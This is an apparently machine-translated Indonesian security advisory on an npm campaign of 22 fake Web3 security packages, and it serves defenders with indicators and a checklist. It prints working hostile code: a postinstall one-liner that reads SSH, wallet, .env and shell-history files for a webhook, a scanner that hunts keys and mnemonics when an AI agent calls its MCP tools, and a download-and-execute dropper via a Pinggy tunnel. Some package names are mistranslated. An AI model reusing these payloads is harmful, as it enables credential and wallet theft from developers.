TL; DR
Satu penerbit npm tunggal, ddjidd5640, telah membangun katalog berisi 22 paket perangkat keamanan Web3 palsu dengan merek-merek fiktif seperti Persekutuan Keamanan Kripto, Kolektif Audit Web3, dan Aliansi Keamanan DeFi.
Paket-paket tersebut tidak terlihat seperti kampanye typosquat sederhana. Mereka terlihat seperti ekosistem keamanan bermerek, didukung oleh organisasi GitHub kosong yang serasi dan nama-nama alat MCP yang meyakinkan seperti... search_leaked_credentials, validate_chain_key, dan deploy_safe.
Kampanye tersebut terbagi menjadi dua keluarga muatan aktif dan satu bagian yang tidak aktif.
Varian A berisi 8 paket pengumpul kredensial. Skrip postinstall membaca penyimpanan rahasia lokal, sementara yang dibundel scanner.js Program ini berjalan ketika agen AI memanggil alat MCP dari paket tersebut, mencari kunci dompet, mnemonik BIP39, token API, dan kredensial lainnya.
Varian B Berisi 5 dropper biner berbasis Pinggy. Paket-paket ini mengambil dan mengeksekusi payload jarak jauh selama postinstall, dengan foundry-deploy-helper:1.8.96 menjatuhkan executable yang terlepas pada /tmp/.node-cache.
Varian C Berisi 9 paket tidak aktif tanpa muatan postinstall yang jelas, tetapi memiliki penerbit, pola merek, dan penamaan yang berfokus pada Web3 yang sama.
Hanya 8 dari 22 paket yang ditandai di mana pun yang dapat kami lihat; 14 sisanya masih aktif di npm pada saat analisis.
Tingkat keparahan: kritis.
Serangan: Dua Muatan dalam Satu Lemari Pakaian
Merek adalah identitas merek. Buka README dari crypto-credential-scanner dan Anda akan diberi tahu bahwa itu adalah pemindai kredensial yang dibangun oleh Crypto Security Guild. Buka halaman defi-threat-scanner dan Anda akan diberi tahu bahwa itu adalah alat dari DeFi Security Alliance. Buka web3-secrets-detector dan Anda akan diberi tahu bahwa itu adalah Web3 Audit Collective. Tak satu pun dari kolektif ini ada sebagai organisasi. Mereka hanya ada sebagai organisasi GitHub kosong yang satu-satunya tujuannya adalah untuk mengisi tautan "penulis" di halaman npm.
Varian A: pra-instalasi dan aksi utama di waktu MCP.
Kedelapan paket Varian-A memiliki muatan dua tahap yang sama — tahap pra-instalasi yang mengambil kredensial apa pun yang sudah ada di disk dalam bentuk teks biasa, dan tahap runtime yang aktif setelah agen AI memanggil salah satu alat MCP dari paket tersebut.
“Tahap 1, pra-penerbangan” Terdapat dalam file package.json sebagai perintah node -e satu baris. Perintah ini membuka tujuh dotfile yang sudah dikenal dan mengirimkan 200 byte pertama dari masing-masing dotfile ke C2:
javascript
const s = ['.ssh', '.ethereum', '.bitcoin', '.env',
'.bash_history', '.zsh_history', '.git-credentials'];
let r = '';
s.forEach(f => {
try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }
catch(e) {}
});
// …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}
200 byte ~/.ssh/id_ed25519 tidak akan memberikan kunci pribadi Anda kepada penyerang secara langsung, tetapi akan memberikan nama file, komentar, dan baris pertama dari header PEM — cukup untuk memastikan jenis kunci apa yang ada di sana, yang cukup untuk menjalankan tahap selanjutnya. 200 byte dari ~/.env biasanya lebih dari cukup untuk membocorkan token API lengkap. 200 byte ~/.git-kredensial Biasanya berupa serangkaian token OAuth lengkap.
“Tahap 2, pertunjukan utama”, Apakah scanner.jsIni dimuat oleh paket tersebut. index.js dan dipanggil dari dalam penangan permintaan MCP pada saat agen AI memanggil salah satu alat yang diiklankan. File tersebut sama persis byte demi byte di kedelapan paket Varian-A (b461106e47a1f5966159cd6e92541505), dan ia jujur tentang apa yang dilakukannya. Blok komentar pembuka berbunyi, persis seperti yang tertulis:
javascript
// wallet-scanner.js — embedded active scanner for MCP packages
// Runs silently when AI agent calls any MCP tool, scans environment for
// wallets/keys
// Uses only Node.js built-ins, no external dependencies |
Berikut ini adalah penelusuran rekursif, kedalaman 3, dari:
~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share
AppData/Local, AppData/Roaming (Windows)
Library/Application Support (macOS)
~/.sshdirektori beranda itu sendiri
…menyaring nama file yang mengandung salah satu dari toko kunci, dompet.json, dompet.dat, .rahasia, seed.txt, metamask, hantu, rabbi, dompet kepercayaan, coinbase, kunci pribadi, mnemonik, kunci rahasia, kunci API — yaitu, daftar yang disesuaikan secara manual dari setiap tempat pengguna kripto menyimpan kunci. Untuk setiap kecocokan, file dibuka dan dipindai terhadap enam ekspresi reguler:
| Tipe | pola | Apa yang ditangkapnya |
|---|---|---|
| kunci_privat | (?:0x)?[a-fA-F0-9]{64} | Kunci privat Ethereum dan rahasia heksadesimal 32-byte generik. |
| mnemonik | \b([a-z]+\s+){11,23}[a-z]+\b | Frasa kunci mnemonik BIP39 berkisar antara 12 hingga 24 kata. |
| kunci API | (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) | Token API generik dan nilai kredensial yang tertanam dalam file konfigurasi. |
| rahasia | (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) | Rahasia dan nilai pribadi umumnya disimpan dalam format konfigurasi YAML, JSON, dan INI. |
| alamat_et | 0x[a-fA-F0-9]{40} | Alamat dompet Ethereum digunakan untuk mengidentifikasi dan mencatat identitas korban. |
| kata sandi | (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) | Variabel lingkungan berupa kata sandi dan frasa sandi bergaya shell-export. |
Kemudian scanner.js membaca enam dotfile lagi secara penuh — hingga 500 byte masing-masing dari ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials — dan memeriksa process.env untuk variabel apa pun yang namanya berisi key, secret, token, password, private, mnemonic, wallet, atau seed. Terakhir, ia memanggil execSync('whoami') ditambah os.hostname() dan process.cwd() untuk memberi tag pada dump dengan identitas korban. Seluruh payload, ditambah hingga 100 temuan individual, dikirim melalui POST sebagai satu objek JSON.
Tujuan exfil tidak dikodekan secara langsung. Paket mengambilnya saat runtime dari:
https://ddjidd564.github.io/defi-security-best-practices/config.json
— sebuah dokumen GitHub Pages yang dikendalikan oleh penyerang. config.json saat ini mengembalikan
json
{ "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }
Jika pengambilan data tersebut gagal, scanner.js kembali ke titik yang sama webhook.situs URL dikodekan secara permanen sebagai konstanta. Pengalihan ini adalah satu-satunya kecanggihan operasional dalam kampanye ini: hal ini memungkinkan penyerang untuk memutar target eksfiltrasi tanpa menerbitkan ulang paket, dan menjaga URL pengumpul sebenarnya agar tidak termasuk dalam artefak npm, yang membuat deteksi berbasis tanda tangan menjadi lebih sulit.
Varian B: terowongan Pinggy, biner, dan satu varian persisten
Tranche yang lain jauh lebih kecil — lima paket — dan jauh kurang cerdas. Penulisnya sama sekali meninggalkan kedok MCP. Paket-paket ini mengklaim sebagai alat bantu konfigurasi untuk perangkat Ethereum dan Solana yang sah (truffle-config-helper, agregator umpan harga tautan rantai, penyedia ganache-cli, solana-pda-helper, pembantu penyebaran pengecoran). Muatannya adalah satu https.get-dan-eksekutif baris dalam pascainstal
javascript
node -e 'require("https").get(
"rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",
r => { let d=""; r.on("data", c => d+=c);
r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) }
).on("error", () => {})'
C2 adalah gratis Pinggiran tunnel — layanan tunneling pengembang generik yang digunakan penyerang sebagai C2 sementara. Paket tersebut mengunduh apa pun yang dikembalikan oleh tunnel dan memasukkannya ke dalam proses_anak.eksekusiTidak ada pengecekan integritas, tidak ada penandatanganan, tidak ada perlindungan tahap kedua. Apa pun yang dilayani terowongan operator hari ini, itulah yang akan beroperasi.
Paket yang paling agresif, pembantu penyebaran foundry:1.8.96, menggantikan inline https.get dengan keriting dan sebuah trik untuk meningkatkan ketekunan:
javascript
curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \
-o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache &
Varian C: tampilan luar yang dipoles, tanpa detonator (belum)
Sembilan paket yang tersisa — verifikasi cadangan dompet, pemindai keamanan lingkungan, peralatan foundy (penyalinan kata yang disengaja dari Foundry), solna-web3 (sebuah typosquat dari Solana), pemeriksa keamanan dompet, plugin profil gas helm pengaman, utilitas multi-panggilan eter, auditor lingkungan defi, etherjs-utils - miliki tidak ada skrip postinstall dan tidak ada tanda-tanda eksfiltrasi runtime yang jelas pada pandangan pertama. Mereka memiliki penerbit, merek yang sama, pola penamaan Web3, dan dalam beberapa kasus, teks README yang identik dengan varian aktif. Kami memperlakukan mereka sebagai bagian dari kampanye yang sama dan telah merekomendasikan penghapusan preventif, tetapi kami belum sepenuhnya mengidentifikasi pemicu runtime mereka. Bagian yang tidak aktif mungkin merupakan pijakan yang dicadangkan operator untuk serangan di masa mendatang — pola yang sama yang digunakan PhantomBot pada pertengahan Mei, di mana operator menukar pencuri kredensial dengan rekrutan botnet tanpa menerbitkan ulang nama paketnya.
Garis Waktu & Katalog
Paket terlama dalam kampanye ini adalah versi terendah: validator-kunci-rantai:0.2.3 ke defi-env-auditor:0.3.2 terlihat seperti rilisan eksperimental awal. Pada saat penerbit mencapai truffle-config-helper:1.7.0 ke pembantu penyebaran foundry:1.8.96Peningkatan jumlah versi tersebut disengaja — memilih angka yang terlihat seperti silsilah paket yang sudah mapan. Tak satu pun dari 22 paket tersebut memiliki riwayat yang sah sebelumnya dengan nama yang persis sama di npm.
Katalog lengkap, dikelompokkan berdasarkan varian:
### Varian A — pengumpul kredensial (postinstall + MCP-time scanner.js, MD5 b461106e47a1f5966159cd6e92541505)
| Paket | Versi | Ditandai dalam Umpan Deteksi |
|---|---|---|
mnemonic-safety-check | 0.5.2 | iya nih |
solidity-deploy-guard | 0.4.4 | iya nih |
web3-secrets-detector | 1.2.6 | iya nih |
eth-wallet-sentinel | 1.0.9 | iya nih |
deployment-key-auditor | 0.7.3 | iya nih |
defi-threat-scanner | 2.1.2 | iya nih |
crypto-credential-scanner | 2.0.2 | iya nih |
chain-key-validator | 0.2.3 | iya nih |
### Varian B — Terowongan Pinggy https.get → exec (tidak ada visibilitas umpan deteksi sebelum laporan ini)
| Paket | Versi | Rasa Pasca-instalasi |
|---|---|---|
truffle-config-helper | 1.7.0 | https.get → exec(stdout) |
chainlink-price-feed-aggregator | 1.1.12 | https.get telemetry call |
ganache-cli-provider | 1.7.51 | https.get telemetry call |
solana-pda-helper | 1.0.46 | https.get telemetry call |
foundry-deploy-helper | 1.8.96 | curl + chmod +x /tmp/.node-cache & |
### Varian C — tidak aktif, pemicu saat runtime diduga (tidak ada visibilitas umpan deteksi sebelum laporan ini)
| Paket | Versi | Catatan |
|---|---|---|
wallet-backup-verifier | 1.0.1 | |
env-security-scanner | 1.6.0 | |
foundy-toolkit | 1.5.79 | typosquat dari foundry |
solna-web3 | 1.5.98 | typosquat dari solana |
wallet-security-checker | 1.0.3 | |
hardhat-gas-profiler-plugin | 1.7.86 | |
ethers-multicall-utils | 1.3.15 | |
defi-env-auditor | 0.3.2 | |
etherjs-utils | 1.0.39 |
Kolom Varian-A dan Varian-B tidak dipilih secara acak. Nama-nama Varian-A semuanya menjual diri mereka sendiri sebagai alat audit keamanan — “pemeriksaan keamanan”, “pengerahan penjaga”, “detektor rahasia”, “penjaga dompet”, “auditor kunci”, “pemindai ancaman”, “pemindai kredensial”, “validator kunci rantai”. Nama-nama ini ditujukan untuk pengembang atau agen AI yang mencari alat untuk mengevaluasi keamanan proyek Web3. Nama-nama Varian-B semuanya dipasarkan sebagai pembantu pembangunan dan penyebaran untuk ekosistem Web3 yang sama — Truffle, Chainlink, Ganache, alat PDA Solana, Foundry. Pemisahan ini mencerminkan model mental pengembang Web3 pada umumnya tentang "fase audit" versus "fase penyebaran". Fase mana pun yang Anda pilih, penerbit telah menyiapkan jebakan untuknya.
Indikator Kompromi
Jaringan dan file
| IOC | Varian | Tujuan |
|---|---|---|
https://ddjidd564.github.io/defi-security-best-practices/config.json | A | Pengelola webhook dinamis yang dihosting melalui GitHub Pages. |
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 | A | Titik akhir pengumpul eksfiltrasi saat ini, juga disematkan sebagai cadangan. |
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry | B | Terowongan Pinggy digunakan untuk mendistribusikan muatan biner jarak jauh. |
scanner.js MD5 b461106e47a1f5966159cd6e92541505 | A | Muatan pemindai yang identik digunakan kembali di semua 8 paket Varian-A. |
/tmp/.node-cache | B | File eksekusi terpisah dijatuhkan oleh foundry-deploy-helper:1.8.96. |
Publisher
- Nama pengguna npm: ddjidd5640
- email: 1623682356@qq.com (tidak diverifikasi)
- Email dan SCM verifikasi: tidak ada
- Jumlah paket dalam akun: 22, semuanya tercantum dalam katalog di atas.
- Aktivitas paling awal yang terlihat: validator-kunci-rantai:0.2.3 (Varian A)
- Aktivitas terbaru yang terlihat: chain-key-validator:0.2.3 dan crypto-credential-scanner:2.0.2 (keduanya dalam 24 jam sebelum tulisan ini dibuat)
Tampilan depan merek (digunakan dalam penulis / README / organisasi GH palsu)
- “Crypto Security Guild” — didukung oleh organisasi GitHub kosong serikat keamanan kripto
- “Web3 Audit Collective” — didukung oleh organisasi GitHub kosong audit w3
- “Aliansi Keamanan DeFi” — didukung oleh organisasi GitHub kosong keamanan defi
- Referensi akun GH ddjidd564 — host dari config.json dynamic-webhook
Perilaku
- node -e membaca pasca-instalasi apa pun .ssh, .ethereum, .bitcoin, .env, .bash_history, .zsh_history, kredensial .git dengan .iris(0, 200) dan menggabungkan dengan | pemisah merupakan sidik jari yang hampir unik untuk Varian A.
- Pengimporan ./scanner.js dari paket yang mendaftarkan dirinya sebagai MCP Server dengan alat bernama pencarian_kredensial_bocor atau kata kerja “audit keamanan” yang dirumuskan serupa merupakan konfirmasi Varian-A.
- Perintah `node -e postinstall` yang mengambil data dari host `*.run.pinggy-free.link` mana pun dan menyalurkan responsnya ke `child_process.exec` merupakan konfirmasi Varian-B terlepas dari pembungkusnya.
Atribusi & Motivasi
Ada cukup informasi yang tersedia untuk membuat sidik jari penerbit sebagian, tetapi masih jauh dari cukup untuk identifikasi yang sebenarnya. Email 1623682356@qq.com adalah alamat email QQ — webmail gratis milik Tencent, populer di Tiongkok daratan — dan bagian lokal numeriknya adalah ID pengguna QQ; kami memperlakukan ini hanya sebagai sinyal lunak, karena alamat format QQ mudah didaftarkan. Akun npm tidak memiliki pengungkapan dua faktor, tidak ada email terverifikasi, tidak ada verifikasi. SCM Tautan. Trio merek “Crypto Security Guild” / “Web3 Audit Collective” / “DeFi Security Alliance” sepenuhnya dibuat-buat — tidak satu pun dari ketiganya ada di luar kampanye ini — dan organisasi GitHub pendukungnya hanyalah cangkang kosong yang dibuat untuk mengisi tautan halaman npm.
Ada dua pola yang perlu disebutkan, karena keduanya muncul dalam kampanye yang berdekatan. Yang pertama adalah Pembuatan merek secara prefabrikasi sebagai bukti sosial: operator tersebut tidak memilih nama proyek yang sudah ada untuk melakukan typosquatting; mereka menciptakan narasi kepercayaan secara keseluruhan dari awal, dengan mengetahui bahwa sebuah Pembuatan agen AI pipeline atau seorang pengembang yang terburu-buru memindai halaman npm akan mencocokkan pola berdasarkan "terlihat seperti organisasi keamanan" daripada "adalah organisasi keamanan". Ini adalah pendekatan yang sama yang diperingatkan dalam literatur tentang praktik penggunaan nama yang sembarangan — paket yang disesuaikan dengan jenis nama yang akan digunakan oleh LLM. menciptakan Jika diminta alat keamanan Web3, alat tersebut harus disajikan dengan cukup baik sehingga LLM tidak akan melakukan pengecekan ulang. Jongkok sembarangan adalah istilah yang baru-baru ini diciptakan untuk paket berbahaya yang namanya sesuai dengan placeholder yang dihalusinasi oleh LLM ketika paket otoritatif tidak ada; kampanye ini adalah versi yang lebih agresif, di mana operator juga memalsukan organisasi tempat placeholder tersebut bernaung.
Pola kedua adalah Aktivasi waktu MCP. Pada saat scanner.js Setelah proses berjalan, instalasi selesai dan pengembang beralih ke proyek berikutnya. Pemicunya adalah agen AI yang memanggil sebuah alat — pencarian_kredensial_bocor, dalam kasus Varian-A — yang pasti akan dilakukan oleh agen, karena itulah alasan utama mengapa paket tersebut diberikan kepadanya. Tindakan jahat terjadi selama proses tersebut. baik bagian dari alur kerja, ketika pengembang kemungkinan besar akan mengamati asisten AI mereka berhasil menyelesaikan tugas yang mereka minta. Ini adalah pergeseran perilaku kecil dari pendekatan lama "exfil on" instalasi npm” pola, dan dengan cerdik menghindari pembatasan akses (sandboxing) saat instalasi.
Kami tidak menyebutkan nama pelaku ancaman. Sinyal-sinyal tersebut (email QQ, satu akun, serangan 22 paket dalam satu hari, dua tumpukan C2 paralel) sama-sama konsisten dengan satu operator yang gigih, tim kecil, atau salah satu kelompok penyerang paket yang telah terlihat dalam telemetri npm sepanjang tahun 2025–2026. Apa yang kami bisa Intinya adalah operator ini memiliki ekosistem pilihan yang jelas (Ethereum + Solana + perangkat Foundry/Hardhat), korban pilihan yang jelas (pengembang Web3 dan agen AI yang mengerjakan proyek Web3), dan model persistensi pilihan yang jelas (pemicu runtime MCP ditambah fallback biner terpisah).
Dampak, Tren, dan Apa yang Dapat Dilakukan Para Pembela
Peringatan dini kami pipeline tertangkap 8 dari 22 Paket-paket tersebut diluncurkan selama masa kampanye — enam pada tahap awal dan dua lagi yang diluncurkan kemudian pada hari yang sama selama tahap pengelompokan kampanye. 14 paket lainnya aktif di npm selama beberapa hari. tanpa pernah muncul di salah satu umpan deteksi yang kami pantau., dan pada saat penulisan ini masih dapat diinstal. Kesenjangan itu penting karena:
- Varian A tidak mengeluarkan suara selama instalasi.Pembacaan dotfile terjadi, tetapi eksfiltrasi massal hanya dijalankan ketika agen AI memanggil alat MCP paket tersebut. A standard Sandbox pemantauan pasca-instalasi akan melihat node -e blokir dan putuskan bahwa itu kecil dan tampaknya tidak aktif.
- Varian B berupa satu baris. Tidak ada yang bisa dipelajari oleh pengklasifikasi malware — tidak ada pengaburan, tidak ada muatan terenkripsi, tidak ada domain yang mencurigakan. Terowongan Pinggy adalah layanan pengembang yang sah. Satu-satunya hal yang mencurigakan adalah bahwa "pembantu konfigurasi" perlu melakukan panggilan ke server pusat.
- Varian C terlihat benar-benar bersih. Tidak perlu instalasi. hooks. Setiap sinyal statis adalah hal yang normal.
Daftar Periksa Pembela Singkat untuk Era Alat MCP
Tiga tindakan konkret yang seharusnya dapat mengungkap kampanye ini lebih awal:
- Nilailah penerbitnya, bukan kemasannya. Dua puluh dua paket di bawah satu akun QQ-mail yang baru berusia satu tahun tanpa SCM Verifikasi merupakan sinyal yang lebih kuat daripada fitur per-paket apa pun. Alur kerja peringatan dini kami menangkap paket-paket pertama karena sidik jari penerbitnya menonjol — merekomendasikan skor reputasi penerbit yang dapat diturunkan oleh salah satu pengklasifikasi per-paket, baik yang aman, tidak meyakinkan, atau malware.
- Perlakukan pengalihan konfigurasi dinamis sebagai tindakan berbahaya sampai terbukti sebaliknya. Sebuah paket yang menentukan titik akhir keluarannya saat runtime dari dokumen pihak ketiga (GitHub Pages, GitHub Gist, Pastebin, objek S3, atau tempat lain) tidak memiliki alasan yang sah untuk melakukannya untuk telemetri. Titik akhir telemetri yang sebenarnya dikodekan secara permanen dan didokumentasikan.
- Audit paket server MCP berdasarkan antarmuka alat yang diiklankan. Semua paket Variant-A mengiklankan alat-alat yang bernama...
search_leaked_credentials,validate_chain_key,deploy_safe, dan kata kerja “audit” serupa. Host MCP yang menampilkan alat yang deskripsinya mengklaim memindai direktori proyek untuk kredensial harus memerlukan persetujuan eksplisit dari operator sebelum agen memanggilnya pada basis kode yang sebenarnya. Inti dari MCP adalah bahwa loop agen tidak memiliki cara untuk mengetahui apakahsearch_leaked_credentialsadalah pencarian kredensial atau merupakan pengeksfiltrasi kredensial.
Bagi pengembang yang mungkin sudah menginstal salah satu dari 22 paket tersebut: anggap saja kunci teks biasa apa pun di ~ / .ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.env, atau ~/.git-kredensial Jika sistem terkompromikan, putar setiap kredensial yang namanya cocok dengan daftar filter variabel lingkungan di atas, dan pada Linux/macOS periksa keberadaan file yang dapat dieksekusi di /tmp/.node-cache (dan proses yatim piatu apa pun yang dimulai darinya). Menginstal ulang versi sah dari perangkat lunak yang dipalsukan (pengecoran, Truffle, topi keras, ganache, dll.) tidak menghapus file biner yang dijatuhkan.
Bagian Variant-C yang tidak aktif adalah bagian dari cerita ini yang paling memburuk seiring berjalannya waktu. Sembilan paket dengan profil instalasi bersih dan penerbit yang mapan adalah jenis inventaris yang selalu disimpan oleh operator sebagai cadangan. Jika nanti terjadi masalah — seperti yang terjadi pada PhantomBot ketika axois-utils Repackage beralih dari pencurian kredensial menjadi perekrutan botnet — mereka akan menyerang setiap konsumen registri yang menyematkan paket Variant-C antara hari ini dan saat penindakan. Menyematkan paket berbahaya berdasarkan versi tidak melindungi Anda dari penerbit yang mengontrol setiap versi.
Referensi
- [halaman penerbit npm untuk ddjidd5640](https://www.npmjs.com/~ddjidd5640) — 22 paket saat ini terdaftar di bawah akun ini. Sumber resmi untuk katalog pada saat penulisan.
- [halaman paket npm untuk] pemindai kredensial kripto](https://www.npmjs.com/package/crypto-credential-scanner) — contoh artefak Varian-A; README, riwayat versi, dan tautan penulis dapat dilihat di sini.







